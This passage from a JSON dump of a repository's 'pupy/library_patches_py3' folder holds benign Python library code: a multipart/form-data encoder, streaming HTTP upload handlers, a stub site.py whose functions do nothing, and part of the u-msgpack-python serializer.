fileobj=value))\n            else:\n                retval.append(cls(name, value))\n        return retval\n\n    def encode_hdr(self, boundary):\n        \"\"\"Returns the header of the encoding of this parameter\"\"\"\n        boundary = encode_and_quote(boundary)\n\n        headers = [\"--%s\" % boundary]\n\n        if self.filename:\n            disposition = 'form-data; name=\"%s\"; filename=\"%s\"' % (self.name,\n                    self.filename)\n        else:\n            disposition = 'form-data; name=\"%s\"' % self.name\n\n        headers.append(\"Content-Disposition: %s\" % disposition)\n\n        if self.filetype:\n            filetype = self.filetype\n        else:\n            filetype = \"text/plain; charset=utf-8\"\n\n        headers.append(\"Content-Type: %s\" % filetype)\n\n        headers.append(\"\")\n        headers.append(\"\")\n\n        return \"\\r\\n\".join(headers)\n\n    def encode(self, boundary):\n        \"\"\"Returns the string encoding of this parameter\"\"\"\n        if self.value is None:\n            value = self.fileobj.read()\n        else:\n            value = self.value\n\n        if re.search(\"^--%s$\" % re.escape(boundary), value, re.M):\n            raise ValueError(\"boundary found in encoded string\")\n\n        return \"%s%s\\r\\n\" % (self.encode_hdr(boundary), value)\n\n    def iter_encode(self, boundary, blocksize=4096):\n        \"\"\"Yields the encoding of this parameter\n        If self.fileobj is set, then blocks of ``blocksize`` bytes are read and\n        yielded.\"\"\"\n        total = self.get_size(boundary)\n        current = 0\n        if self.value is not None:\n            block = self.encode(boundary)\n            current += len(block)\n            yield block\n            if self.cb:\n                self.cb(self, current, total)\n        else:\n            block = self.encode_hdr(boundary)\n            current += len(block)\n            yield block\n            if self.cb:\n                self.cb(self, current, total)\n            last_block = \"\"\n            encoded_boundary = \"--%s\" % encode_and_quote(boundary)\n            boundary_exp = re.compile(\"^%s$\" % re.escape(encoded_boundary),\n                    re.M)\n            while True:\n                block = self.fileobj.read(blocksize)\n                if not block:\n                    current += 2\n                    yield \"\\r\\n\"\n                    if self.cb:\n                        self.cb(self, current, total)\n                    break\n                last_block += block\n                if boundary_exp.search(last_block):\n                    raise ValueError(\"boundary found in file data\")\n                last_block = last_block[-len(encoded_boundary)-2:]\n                current += len(block)\n                yield block\n                if self.cb:\n                    self.cb(self, current, total)\n\n    def get_size(self, boundary):\n        \"\"\"Returns the size in bytes that this param will be when encoded\n        with the given boundary.\"\"\"\n        if self.filesize is not None:\n            valuesize = self.filesize\n        else:\n            valuesize = len(self.value)\n\n        return len(self.encode_hdr(boundary)) + 2 + valuesize\n\ndef encode_string(boundary, name, value):\n    \"\"\"Returns ``name`` and ``value`` encoded as a multipart/form-data\n    variable.  ``boundary`` is the boundary string used throughout\n    a single request to separate variables.\"\"\"\n\n    return MultipartParam(name, value).encode(boundary)\n\ndef encode_file_header(boundary, paramname, filesize, filename=None,\n        filetype=None):\n    \"\"\"Returns the leading data for a multipart/form-data field that contains\n    file data.\n\n    ``boundary`` is the boundary string used throughout a single request to\n    separate variables.\n\n    ``paramname`` is the name of the variable in this request.\n\n    ``filesize`` is the size of the file data.\n\n    ``filename`` if specified is the filename to give to this field.  This\n    field is only useful to the server for determining the original filename.\n\n    ``filetype`` if specified is the MIME type of this file.\n\n    The actual file data should be sent after this header has been sent.\n    \"\"\"\n\n    return MultipartParam(paramname, filesize=filesize, filename=filename,\n            filetype=filetype).encode_hdr(boundary)\n\ndef get_body_size(params, boundary):\n    \"\"\"Returns the number of bytes that the multipart/form-data encoding\n    of ``params`` will be.\"\"\"\n    size = sum(p.get_size(boundary) for p in MultipartParam.from_params(params))\n    return size + len(boundary) + 6\n\ndef get_headers(params, boundary):\n    \"\"\"Returns a dictionary with Content-Type and Content-Length headers\n    for the multipart/form-data encoding of ``params``.\"\"\"\n    headers = {}\n    boundary = urllib.quote_plus(boundary)\n    headers['Content-Type'] = \"multipart/form-data; boundary=%s\" % boundary\n    headers['Content-Length'] = str(get_body_size(params, boundary))\n    return headers\n\nclass multipart_yielder:\n    def __init__(self, params, boundary, cb):\n        self.params = params\n        self.boundary = boundary\n        self.cb = cb\n\n        self.i = 0\n        self.p = None\n        self.param_iter = None\n        self.current = 0\n        self.total = get_body_size(params, boundary)\n\n    def __iter__(self):\n        return self\n\n    def next(self):\n        \"\"\"generator function to yield multipart/form-data representation\n        of parameters\"\"\"\n        if self.param_iter is not None:\n            try:\n                block = self.param_iter.next()\n                self.current += len(block)\n                if self.cb:\n                    self.cb(self.p, self.current, self.total)\n                return block\n            except StopIteration:\n                self.p = None\n                self.param_iter = None\n\n        if self.i is None:\n            raise StopIteration\n        elif self.i >= len(self.params):\n            self.param_iter = None\n            self.p = None\n            self.i = None\n            block = \"--%s--\\r\\n\" % self.boundary\n            self.current += len(block)\n            if self.cb:\n                self.cb(self.p, self.current, self.total)\n            return block\n\n        self.p = self.params[self.i]\n        self.param_iter = self.p.iter_encode(self.boundary)\n        self.i += 1\n        return self.next()\n\n    def reset(self):\n        self.i = 0\n        self.current = 0\n        for param in self.params:\n            param.reset()\n\ndef multipart_encode(params, boundary=None, cb=None):\n    \"\"\"Encode ``params`` as multipart/form-data.\n\n    ``params`` should be a sequence of (name, value) pairs or MultipartParam\n    objects, or a mapping of names to values.\n    Values are either strings parameter values, or file-like objects to use as\n    the parameter value.  The file-like objects must support .read() and either\n    .fileno() or both .seek() and .tell().\n\n    If ``boundary`` is set, then it as used as the MIME boundary.  Otherwise\n    a randomly generated boundary will be used.  In either case, if the\n    boundary string appears in the parameter values a ValueError will be\n    raised.\n\n    If ``cb`` is set, it should be a callback which will get called as blocks\n    of data are encoded.  It will be called with (param, current, total),\n    indicating the current parameter being encoded, the current amount encoded,\n    and the total amount to encode.\n\n    Returns a tuple of `datagen`, `headers`, where `datagen` is a\n    generator that will yield blocks of data that make up the encoded\n    parameters, and `headers` is a dictionary with the assoicated\n    Content-Type and Content-Length headers.\n\n    Examples:\n\n    >>> datagen, headers = multipart_encode( [(\"key\", \"value1\"), (\"key\", \"value2\")] )\n    >>> s = \"\".join(datagen)\n    >>> assert \"value2\" in s and \"value1\" in s\n\n    >>> p = MultipartParam(\"key\", \"value2\")\n    >>> datagen, headers = multipart_encode( [(\"key\", \"value1\"), p] )\n    >>> s = \"\".join(datagen)\n    >>> assert \"value2\" in s and \"value1\" in s\n\n    >>> datagen, headers = multipart_encode( {\"key\": \"value1\"} )\n    >>> s = \"\".join(datagen)\n    >>> assert \"value2\" not in s and \"value1\" in s\n\n    \"\"\"\n    if boundary is None:\n        boundary = gen_boundary()\n    else:\n        boundary = urllib.quote_plus(boundary)\n\n    headers = get_headers(params, boundary)\n    params = MultipartParam.from_params(params)\n\n    return multipart_yielder(params, boundary, cb), headers\n"
  },
  {
    "path": "pupy/library_patches_py3/poster/streaminghttp.py",
    "content": "\"\"\"Streaming HTTP uploads module.\n\nThis module extends the standard httplib and urllib2 objects so that\niterable objects can be used in the body of HTTP requests.\n\nIn most cases all one should have to do is call :func:`register_openers()`\nto register the new streaming http handlers which will take priority over\nthe default handlers, and then you can use iterable objects in the body\nof HTTP requests.\n\n**N.B.** You must specify a Content-Length header if using an iterable object\nsince there is no way to determine in advance the total size that will be\nyielded, and there is no way to reset an interator.\n\nExample usage:\n\n>>> from StringIO import StringIO\n>>> import urllib2, poster.streaminghttp\n\n>>> opener = poster.streaminghttp.register_openers()\n\n>>> s = \"Test file data\"\n>>> f = StringIO(s)\n\n>>> req = urllib2.Request(\"http://localhost:5000\", f,\n...                       {'Content-Length': str(len(s))})\n\"\"\"\n\nimport sys\nimport socket\n\nfrom errno import EPIPE\n\nif sys.version_info.major > 2:\n    from http.client import NotConnected, HTTPConnection, HTTPSConnection\n    from urllib.request import (\n        build_opener, install_opener,\n        Request, HTTPHandler, HTTPSHandler, HTTPRedirectHandler\n    )\n    from urllib.error import HTTPError\nelse:\n    from urllib2 import (\n        build_opener, install_opener,\n        Request, HTTPHandler, HTTPSHandler,\n        HTTPRedirectHandler, HTTPError\n    )\n    from httplib import HTTPConnection, HTTPSConnection, NotConnected\n\n__all__ = [\n    'StreamingHTTPConnection', 'StreamingHTTPRedirectHandler',\n    'StreamingHTTPSHandler', 'StreamingHTTPSConnection',\n    'StreamingHTTPHandler', 'register_openers'\n]\n\n\nclass _StreamingHTTPMixin:\n    \"\"\"Mixin class for HTTP and HTTPS connections that implements a streaming\n    send method.\"\"\"\n    def send(self, value):\n        \"\"\"Send ``value`` to the server.\n\n        ``value`` can be a string object, a file-like object that supports\n        a .read() method, or an iterable object that supports a .next()\n        method.\n        \"\"\"\n        # Based on python 2.6's httplib.HTTPConnection.send()\n        if self.sock is None:\n            if self.auto_open:\n                self.connect()\n            else:\n                raise NotConnected()\n\n        # send the data to the server. if we get a broken pipe, then close\n        # the socket. we want to reconnect when somebody tries to send again.\n        #\n        # NOTE: we DO propagate the error, though, because we cannot simply\n        #       ignore the error... the caller will know if they can retry.\n        if self.debuglevel > 0:\n            print(\"send:\", repr(value))\n        try:\n            blocksize = 8192\n            if hasattr(value, 'read'):\n                if hasattr(value, 'seek'):\n                    value.seek(0)\n                if self.debuglevel > 0:\n                    print(\"sending a readable\")\n                data = value.read(blocksize)\n                while data:\n                    self.sock.sendall(data)\n                    data = value.read(blocksize)\n            elif hasattr(value, 'next'):\n                if hasattr(value, 'reset'):\n                    value.reset()\n                if self.debuglevel > 0:\n                    print(\"sending an iterable\")\n                for data in value:\n                    self.sock.sendall(data)\n            else:\n                self.sock.sendall(value)\n        except socket.error as v:\n            if v[0] == EPIPE:\n                self.close()\n\n            raise\n\n\nclass StreamingHTTPConnection(_StreamingHTTPMixin, HTTPConnection):\n    \"\"\"Subclass of `httplib.HTTPConnection` that overrides the `send()` method\n    to support iterable body objects\"\"\"\n\n\nclass StreamingHTTPRedirectHandler(HTTPRedirectHandler):\n    \"\"\"Subclass of `urllib2.HTTPRedirectHandler` that overrides the\n    `redirect_request` method to properly handle redirected POST requests\n\n    This class is required because python 2.5's HTTPRedirectHandler does\n    not remove the Content-Type or Content-Length headers when requesting\n    the new resource, but the body of the original request is not preserved.\n    \"\"\"\n\n    handler_order = HTTPRedirectHandler.handler_order - 1\n\n    # From python2.6 urllib2's HTTPRedirectHandler\n    def redirect_request(self, req, fp, code, msg, headers, newurl):\n        \"\"\"Return a Request or None in response to a redirect.\n\n        This is called by the http_error_30x methods when a\n        redirection response is received.  If a redirection should\n        take place, return a new Request to allow http_error_30x to\n        perform the redirect.  Otherwise, raise HTTPError if no-one\n        else should try to handle this url.  Return None if you can't\n        but another Handler might.\n        \"\"\"\n        m = req.get_method()\n        if (code in (301, 302, 303, 307) and m in (\"GET\", \"HEAD\")\n            or code in (301, 302, 303) and m == \"POST\"):\n            # Strictly (according to RFC 2616), 301 or 302 in response\n            # to a POST MUST NOT cause a redirection without confirmation\n            # from the user (of urllib2, in this case).  In practice,\n            # essentially all clients do redirect in this case, so we\n            # do the same.\n            # be conciliant with URIs containing a space\n            newurl = newurl.replace(' ', '%20')\n            newheaders = {\n                k: v for k, v in req.headers.items()\n                if k.lower() not in (\n                    \"content-length\", \"content-type\"\n                )\n            }\n\n            return Request(\n                newurl,\n                headers=newheaders,\n                origin_req_host=req.get_origin_req_host(),\n                unverifiable=True\n            )\n        else:\n            raise HTTPError(\n                req.get_full_url(),\n                code, msg, headers, fp\n            )\n\n\nclass StreamingHTTPHandler(HTTPHandler):\n    \"\"\"Subclass of `urllib2.HTTPHandler` that uses\n    StreamingHTTPConnection as its http connection class.\"\"\"\n\n    handler_order = HTTPHandler.handler_order - 1\n\n    def http_open(self, req):\n        \"\"\"Open a StreamingHTTPConnection for the given request\"\"\"\n        return self.do_open(StreamingHTTPConnection, req)\n\n    def http_request(self, req):\n        \"\"\"Handle a HTTP request.  Make sure that Content-Length is specified\n        if we're using an interable value\"\"\"\n        # Make sure that if we're using an iterable object as the request\n        # body, that we've also specified Content-Length\n        if req.data is not None:\n            data = req.data\n            if hasattr(data, 'read') or hasattr(data, 'next'):\n                if not req.has_header('Content-length'):\n                    raise ValueError(\n                        \"No Content-Length specified for iterable body\"\n                    )\n        return HTTPHandler.do_request_(self, req)\n\n\nclass StreamingHTTPSConnection(_StreamingHTTPMixin, HTTPSConnection):\n    \"\"\"Subclass of `httplib.HTTSConnection` that overrides the `send()`\n    method to support iterable body objects\"\"\"\n\n\nclass StreamingHTTPSHandler(HTTPSHandler):\n    \"\"\"Subclass of `urllib2.HTTPSHandler` that uses\n    StreamingHTTPSConnection as its http connection class.\"\"\"\n\n    handler_order = HTTPSHandler.handler_order - 1\n\n    def https_open(self, req):\n        return self.do_open(StreamingHTTPSConnection, req)\n\n    def https_request(self, req):\n        # Make sure that if we're using an iterable object as the request\n        # body, that we've also specified Content-Length\n        if req.data is not None:\n            data = req.data\n            if hasattr(data, 'read') or hasattr(data, 'next'):\n                if not req.has_header('Content-length'):\n                    raise ValueError(\n                        \"No Content-Length specified for iterable body\"\n                    )\n\n        return HTTPSHandler.do_request_(self, req)\n\n\ndef get_handlers():\n    return (\n        StreamingHTTPHandler, StreamingHTTPRedirectHandler, StreamingHTTPSHandler\n    )\n    \ndef register_openers():\n    \"\"\"Register the streaming http handlers in the global urllib2 default\n    opener object.\n\n    Returns the created OpenerDirector object.\"\"\"\n    opener = build_opener(*get_handlers())\n    install_opener(opener)\n\n    return opener\n"
  },
  {
    "path": "pupy/library_patches_py3/site.py",
    "content": "import sys\nimport os\nimport builtins\nimport _sitebuiltins\n\nPREFIXES = []\nENABLE_USER_SITE = False\nUSER_SITE = ''\nUSER_BASE = ''\ndef _trace(message):\n\tpass\ndef makepath(*paths):\n\tpass\ndef abs_paths():\n\tpass\ndef removeduppaths():\n\tpass\ndef _init_pathinfo():\n\tpass\ndef addpackage(sitedir, name, known_paths):\n\tpass\ndef addsitedir(sitedir, known_paths=None):\n\tpass\ndef check_enableusersite():\n\tpass\ndef _getuserbase():\n\tpass\ndef _get_path(userbase):\n\tpass\ndef getuserbase():\n\tpass\ndef getusersitepackages():\n\tpass\ndef addusersitepackages(known_paths):\n\tpass\ndef getsitepackages(prefixes=None):\n\tpass\ndef addsitepackages(known_paths, prefixes=None):\n\tpass\ndef setquit():\n\tpass\ndef setcopyright():\n\tpass\ndef sethelper():\n\tpass\ndef enablerlcompleter():\n\tpass\ndef venv(known_paths):\n\tpass\ndef execsitecustomize():\n\tpass\ndef execusercustomize():\n\tpass\ndef main():\n\tpass\ndef _script():\n\tpass\n\n"
  },
  {
    "path": "pupy/library_patches_py3/umsgpack.py",
    "content": "# u-msgpack-python v2.7.1 - v at sergeev.io\n# https://github.com/vsergeev/u-msgpack-python\n#\n# u-msgpack-python is a lightweight MessagePack serializer and deserializer\n# module, compatible with both Python 2 and 3, as well CPython and PyPy\n# implementations of Python. u-msgpack-python is fully compliant with the\n# latest MessagePack specification.com/msgpack/msgpack/blob/master/spec.md). In\n# particular, it supports the new binary, UTF-8 string, and application ext\n# types.\n#\n# MIT License\n#\n# Copyright (c) 2013-2020 vsergeev / Ivan (Vanya) A. Sergeev\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n#\n\"\"\"\nu-msgpack-python v2.7.1 - v at sergeev.io\nhttps://github.com/vsergeev/u-msgpack-python\n\nu-msgpack-python is a lightweight MessagePack serializer and deserializer\nmodule, compatible with both Python 2 and 3, as well CPython and PyPy\nimplementations of Python. u-msgpack-python is fully compliant with the\nlatest MessagePack specification.com/msgpack/msgpack/blob/master/spec.md). In\nparticular, it supports the new binary, UTF-8 string, and application ext\ntypes.\n\nLicense: MIT\n\"\"\"\nimport struct\nimport collections\nimport datetime\nimport sys\nimport io\n\nif sys.version_info[0:2] >= (3, 3):\n    from collections.abc import Hashable\nelse:\n    from collections import Hashable\n\n__version__ = \"2.7.1\"\n\"Module version string\"\n\nversion = (2, 7, 1)\n\"Module version tuple\"\n\n\n##############################################################################\n# Ext Class\n##############################################################################\n\n# Extension type for application-defined types and data\nclass Ext(object):\n    \"\"\"\n    The Ext class facilitates creating a serializable extension object to store\n    an application-defined type and data byte array.\n    \"\"\"\n\n    def __init__(self, type, data):\n        \"\"\"\n        Construct a new Ext object.\n\n        Args:\n            type: application-defined type integer\n            data: application-defined data byte array\n\n        TypeError:\n            Type is not an integer.\n        ValueError:\n            Type is out of range of -128 to 127.\n        TypeError::\n            Data is not type 'bytes' (Python 3) or not type 'str' (Python 2).\n\n        Example:\n        >>> foo = umsgpack.Ext(5, b\"\\x01\\x02\\x03\")\n        >>> umsgpack.packb({u\"special stuff\": foo, u\"awesome\": True})\n        '\\x82\\xa7awesome\\xc3\\xadspecial stuff\\xc7\\x03\\x05\\x01\\x02\\x03'\n        >>> bar = umsgpack.unpackb(_)\n        >>> print(bar[\"special stuff\"])\n        Ext Object (Type: 5, Data: 01 02 03)\n        >>>\n        \"\"\"\n        # Check type is type int and in range\n        if not isinstance(type, int):\n            raise TypeError(\"ext type is not type integer\")\n        elif not (-2**7 <= type <= 2**7 - 1):\n            raise ValueError(\"ext type value {:d} is out of range (-128 to 127)\".format(type))\n        # Check data is type bytes or str\n        elif sys.version_info[0] == 3 and not isinstance(data, bytes):\n            raise TypeError(\"ext data is not type \\'bytes\\'\")\n        elif sys.version_info[0] == 2 and not isinstance(data, str):\n            raise TypeError(\"ext data is not type \\'str\\'\")\n\n        self.type = type\n        self.data = data\n\n    def __eq__(self, other):\n        \"\"\"\n        Compare this Ext object with another for equality.\n        \"\"\"\n        return isinstance(other, self.__class__) \\\n            and self.type == other.type and self.data == other.data\n\n    def __ne__(self, other):\n        \"\"\"\n        Compare this Ext object with another for inequality.\n        \"\"\"\n        return not self.__eq__(other)\n\n    def __str__(self):\n        \"\"\"\n        String representation of this Ext object.\n        \"\"\"\n        s = \"Ext Object (Type: {:d}, Data: \".format(self.type)\n        s += \" \".join([\"0x{:02}\".format(ord(self.data[i:i + 1]))\n                       for i in xrange(min(len(self.data), 8))])\n        if len(self.data) > 8:\n            s += \" ...\"\n        s += \")\"\n        return s\n\n    def __hash__(self):\n        \"\"\"\n        Provide a hash of this Ext object.\n        \"\"\"\n        return hash((self.type, self.data))\n\n\nclass InvalidString(bytes):\n    \"\"\"Subclass of bytes to hold invalid UTF-8 strings.\"\"\"\n\n\n##############################################################################\n# Ext Serializable Decorator\n##############################################################################\n\n_ext_class_to_type = {}\n_ext_type_to_class = {}\n\n\ndef ext_serializable(ext_type):\n    \"\"\"\n    Return a decorator to register a class for automatic packing and unpacking\n    with the specified Ext type code. The application class should implement a\n    `packb()` method that returns serialized bytes, and an `unpackb()` class\n    method or static method that accepts serialized bytes and returns an\n    instance of the application class.\n\n    Args:\n        ext_type: application-defined Ext type code\n\n    Raises:\n        TypeError:\n            Ext type is not an integer.\n        ValueError:\n            Ext type is out of range of -128 to 127.\n        ValueError:\n            Ext type or class already registered.\n    \"\"\"\n    def wrapper(cls):\n        if not isinstance(ext_type, int):\n            raise TypeError(\"Ext type is not type integer\")\n        elif not (-2**7 <= ext_type <= 2**7 - 1):\n            raise ValueError(\"Ext type value {:d} is out of range of -128 to 127\".format(ext_type))\n        elif ext_type in _ext_type_to_class:\n            raise ValueError(\"Ext type {:d} already registered with class {:s}\".format(ext_type, repr(_ext_type_to_class[ext_type])))\n        elif cls in _ext_class_to_type:\n            raise ValueError(\"Class {:s} already registered with Ext type {:d}\".format(repr(cls), ext_type))\n\n        _ext_type_to_class[ext_type] = cls\n        _ext_class_to_type[cls] = ext_type\n\n        return cls\n\n    return wrapper\n\n\n##############################################################################\n# Exceptions\n##############################################################################\n\n\n# Base Exception classes\nclass PackException(Exception):\n    \"Base class for exceptions encountered during packing.\"\n\n\nclass UnpackException(Exception):\n    \"Base class for exceptions encountered during unpacking.\"\n\n\n# Packing error\nclass UnsupportedTypeException(PackException):\n    \"Object type not supported for packing.\"\n\n\n# Unpacking error\nclass InsufficientDataException(UnpackException):\n    \"Insufficient data to unpack the serialized object.\"\n\n\nclass InvalidStringException(UnpackException):\n    \"Invalid UTF-8 string encountered during unpacking.\"\n\n\nclass UnsupportedTimestampException(UnpackException):\n    \"Unsupported timestamp format encountered during unpacking.\"\n\n\nclass ReservedCodeException(UnpackException):\n    \"Reserved code encountered during unpacking.\"\n\n\nclass UnhashableKeyException(UnpackException):\n    \"\"\"\n    Unhashable key encountered during map unpacking.\n    The serialized map cannot be deserialized into a Python dictionary.\n    \"\"\"\n\n\nclass DuplicateKeyException(UnpackException):\n    \"Duplicate key encountered during map unpacking.\"\n\n\n# Backwards compatibility\nKeyNotPrimitiveException = UnhashableKeyException\nKeyDuplicateException = DuplicateKeyException\n\n#############################################################################\n# Exported Functions and Glob\n#############################################################################\n\n# Exported functions and variables, set up in __init()\npack = None\npackb = None\nunpack = None\nunpackb = None\ndump = None\ndumps = None\nload = None\nloads = None\n\ncompatibility = False\n\"\"\"\nCompatibility mode boolean.\n\nWhen compatibility mode is enabled, u-msgpack-python will serialize both\nunicode strings and bytes into the old \"raw\" msgpack type, and deserialize the\n\"raw\" msgpack type into bytes. This provides backwards compatibility with the\nold MessagePack specification.\n\nExample:\n>>> umsgpack.compatibility = True\n>>>\n>>> umsgpack.packb([u\"some string\", b\"some bytes\"])\nb'\\x92\\xabsome string\\xaasome bytes'\n>>> umsgpack.unpackb(_)\n[b'some string', b'some bytes']\n>>>\n\"\"\"\n\n##############################################################################\n# Packing\n##############################################################################\n\n# You may notice struct.pack(\"B\", obj) instead of the simpler chr(obj) in the\n# code below. This is to allow for seamless Python 2 and 3 compatibility, as\n# chr(obj) has a str return type instead of bytes in Python 3, and\n# struct.pack(...) has the right return type in both versions.\n\n\ndef _pack_integer(obj, fp, options):\n    if obj < 0:\n        if obj >= -32:\n            fp.write(struct.pack(\"b\", obj))\n        elif obj >= -2**(8 - 1):\n            fp.write(b\"\\xd0\" + struct.pack(\"b\", obj))\n        elif obj >= -2**(16 - 1):\n            fp.write(b\"\\xd1\" + struct.pack(\">h\", obj))\n        elif obj >= -2**(32 - 1):\n            fp.write(b\"\\xd2\" + struct.pack(\">i\", obj))\n        elif obj >= -2**(64 - 1):\n            fp.write(b\"\\xd3\" + struct.pack(\">q\", obj))\n        else:\n            raise UnsupportedTypeException(\"huge signed int\")\n    else:\n        if obj < 128:\n            fp.write(struct.pack(\"B\", obj))\n        elif obj < 2**8:\n            fp.write(b\"\\xcc\" + struct.pack(\"B\", obj))\n        elif obj < 2**16:\n            fp.write(b\"\\xcd\" + struct.pack(\">H\", obj))\n        elif obj < 2**32:\n            fp.write(b\"\\xce\" + struct.pack(\">I\", obj))\n        elif obj < 2**64:\n            fp.write(b\"\\xcf\" + struct.pack(\">Q\", obj))\n        else:\n            raise UnsupportedTypeException(\"huge unsigned int\")\n\n\ndef _pack_nil(obj, fp, options):\n    fp.write(b\"\\xc0\")\n\n\ndef _pack_boolean(obj, fp, options):\n    fp.write(b\"\\xc3\" if obj else b\"\\xc2\")\n\n\ndef _pack_float(obj, fp, options):\n    float_precision = options.get('force_float_precision', _float_precision)\n\n    if float_precision == \"double\":\n        fp.write(b\"\\xcb\" + struct.pack(\">d\", obj))\n    elif float_precision == \"single\":\n        fp.write(b\"\\xca\" + struct.pack(\">f\", obj))\n    else:\n        raise ValueError(\"invalid float precision\")\n\n\ndef _pack_string(obj, fp, options):\n    obj = obj.encode('utf-8')\n    obj_len = len(obj)\n    if obj_len < 32:\n        fp.write(struct.pack(\"B\", 0xa0 | obj_len) + obj)\n    elif obj_len < 2**8:\n        fp.write(b\"\\xd9\" + struct.pack(\"B\", obj_len) + obj)\n    elif obj_len < 2**16:\n        fp.write(b\"\\xda\" + struct.pack(\">H\", obj_len) + obj)\n    elif obj_len < 2**32:\n        fp.write(b\"\\xdb\" + struct.pack(\">I\", obj_len) + obj)\n    else:\n        raise UnsupportedTypeException(\"huge string\")\n\n\ndef _pack_binary(obj, fp, options):\n    obj_len = len(obj)\n    if obj_len < 2**8:\n        fp.write(b\"\\xc4\" + struct.pack(\"B\", obj_len) + obj)\n    elif obj_len < 2**16:\n        fp.write(b\"\\xc5\" + struct.pack(\">H\", obj_len) + obj)\n    elif obj_len < 2**32:\n        fp.write(b\"\\xc6\" + struct.pack(\">I\", obj_len) + obj)\n    else:\n        raise UnsupportedTypeException(\"huge binary string\")\n\n\ndef _pack_oldspec_raw(obj, fp, options):\n    obj_len = len(obj)\n    if obj_len < 32:\n        fp.write(struct.pack(\"B\", 0xa0 | obj_len) + obj)\n    elif obj_len < 2**16:\n        fp.write(b\"\\xda\" + struct.pack(\">H\", obj_len) + obj)\n    elif obj_len < 2**32:\n        fp.write(b\"\\xdb\" + struct.pack(\">I\", obj_len) + obj)\n    else:\n        raise UnsupportedTypeException(\"huge raw string\")\n\n\ndef _pack_ext(obj, fp, options):\n    obj_len = len(obj.data)\n    if obj_len == 1:\n        fp.write(b\"\\xd4\" + struct.pack(\"B\", obj.type & 0xff) + obj.data)\n    elif obj_len == 2:\n        fp.write(b\"\\xd5\" + struct.pack(\"B\", obj.type & 0xff) + obj.data)\n    elif obj_len == 4:\n        fp.write(b\"\\xd6\" + struct.pack(\"B\", obj.type & 0xff) + obj.data)\n    elif obj_len == 8:\n        fp.write(b\"\\xd7\" + struct.pack(\"B\", obj.type & 0xff) + obj.data)\n    elif obj_len == 16:\n        fp.write(b\"\\xd8\" + struct.pack(\"B\", obj.type & 0xff) + obj.data)\n    elif obj_len < 2**8:\n        fp.write(b\"\\xc7\" + struct.pack(\"BB\", obj_len, obj.type & 0xff) + obj.data)\n    elif obj_len < 2**16:\n        fp.write(b\"\\xc8\" + struct.pack(\">HB\", obj_len, obj.type & 0xff) + obj.data)\n    elif obj_len < 2**32:\n        fp.write(b\"\\xc9\" + struct.pack(\">IB\", obj_len, obj.type & 0xff) + obj.data)\n    else:\n        raise UnsupportedTypeException(\"huge ext data\")\n\n\ndef _pack_ext_timestamp(obj, fp, options):\n    if not obj.tzinfo:\n        # Object is naive datetime, convert to aware date time,\n        # assuming UTC timezone\n        delta = obj.replace(tzinfo=_utc_tzinfo) - _epoch\n    else:\n        # Object is aware datetime\n        delta = obj - _epoch\n\n    seconds = delta.seconds + delta.days * 86400\n    microseconds = delta.microseconds\n\n    if microseconds == 0 and 0 <= seconds <= 2**32 - 1:\n        # 32-bit timestamp\n        fp.write(b\"\\xd6\\xff\" + struct.pack(\">I\", seconds))\n    elif 0 <= seconds <= 2**34 - 1:\n        # 64-bit timestamp\n        value = ((microseconds * 1000) << 34) | seconds\n        fp.write(b\"\\xd7\\xff\" + struct.pack(\">Q\", value))\n    elif -2**63 <= abs(seconds) <= 2**63 - 1:\n        # 96-bit timestamp\n        fp.write(b\"\\xc7\\x0c\\xff\" + struct.pack(\">Iq\", microseconds * 1000, seconds))\n    else:\n        raise UnsupportedTypeException(\"huge timestamp\")\n\n\ndef _pack_array(obj, fp, options):\n    obj_len = len(obj)\n    if obj_len < 16:\n        fp.write(struct.pack(\"B\", 0x90 | obj_len))\n    elif obj_len < 2**16:\n        fp.write(b\"\\xdc\" + struct.pack(\">H\", obj_len))\n    elif obj_len < 2**32:\n        fp.write(b\"\\xdd\" + struct.pack(\">I\", obj_len))\n    else:\n        raise UnsupportedTypeException(\"huge array\")\n\n    for e in obj:\n        pack(e, fp, **options)\n\n\ndef _pack_map(obj, fp, options):\n    obj_len = len(obj)\n    if obj_len < 16:\n        fp.write(struct.pack(\"B\", 0x80 | obj_len))\n    elif obj_len < 2**16:\n        fp.write(b\"\\xde\" + struct.pack(\">H\", obj_len))\n    elif obj_len < 2**32:\n        fp.write(b\"\\xdf\" + struct.pack(\">I\", obj_len))\n    else:\n        raise UnsupportedTypeException(\"huge array\")\n\n    for k, v in obj.items():\n        pack(k, fp, **options)\n        pack(v, fp, **options)\n\n########################################\n\n\n# Pack for Python 2, with 'unicode' type, 'str' type, and 'long' type\ndef _pack2(obj, fp, **options):\n    \"\"\"\n    Serialize a Python object into MessagePack bytes.\n\n    Args:\n        obj: a Python object\n        fp: a .write()-supporting file-like object\n\n    Kwargs:\n        ext_handlers (dict): dictionary of Ext handlers, mapping a custom type\n                             to a callable that packs an instance of the type\n                             into an Ext object\n        force_float_precision (str): \"single\" to force packing floats as\n                                     IEEE-754 single-precision floats,\n                                     \"double\" to force packing floats as\n                                     IEEE-754 double-precision floats.\n\n    Returns:\n        None.\n\n    Raises:\n        UnsupportedType(PackException):\n            Object type not supported for packing.\n\n    Example:\n    >>> f = open('test.bin', 'wb')\n    >>> umsgpack.pack({u\"compact\": True, u\"schema\": 0}, f)\n    >>>\n    \"\"\"\n    global compatibility\n\n    ext_handlers = options.get(\"ext_handlers\")\n\n    if obj is None:\n        _pack_nil(obj, fp, options)\n    elif ext_handlers and obj.__class__ in ext_handlers:\n        _pack_ext(ext_handlers[obj.__class__](obj), fp, options)\n    elif obj.__class__ in _ext_class_to_type:\n        try:\n            _pack_ext(Ext(_ext_class_to_type[obj.__class__], obj.packb()), fp, options)\n        except AttributeError:\n        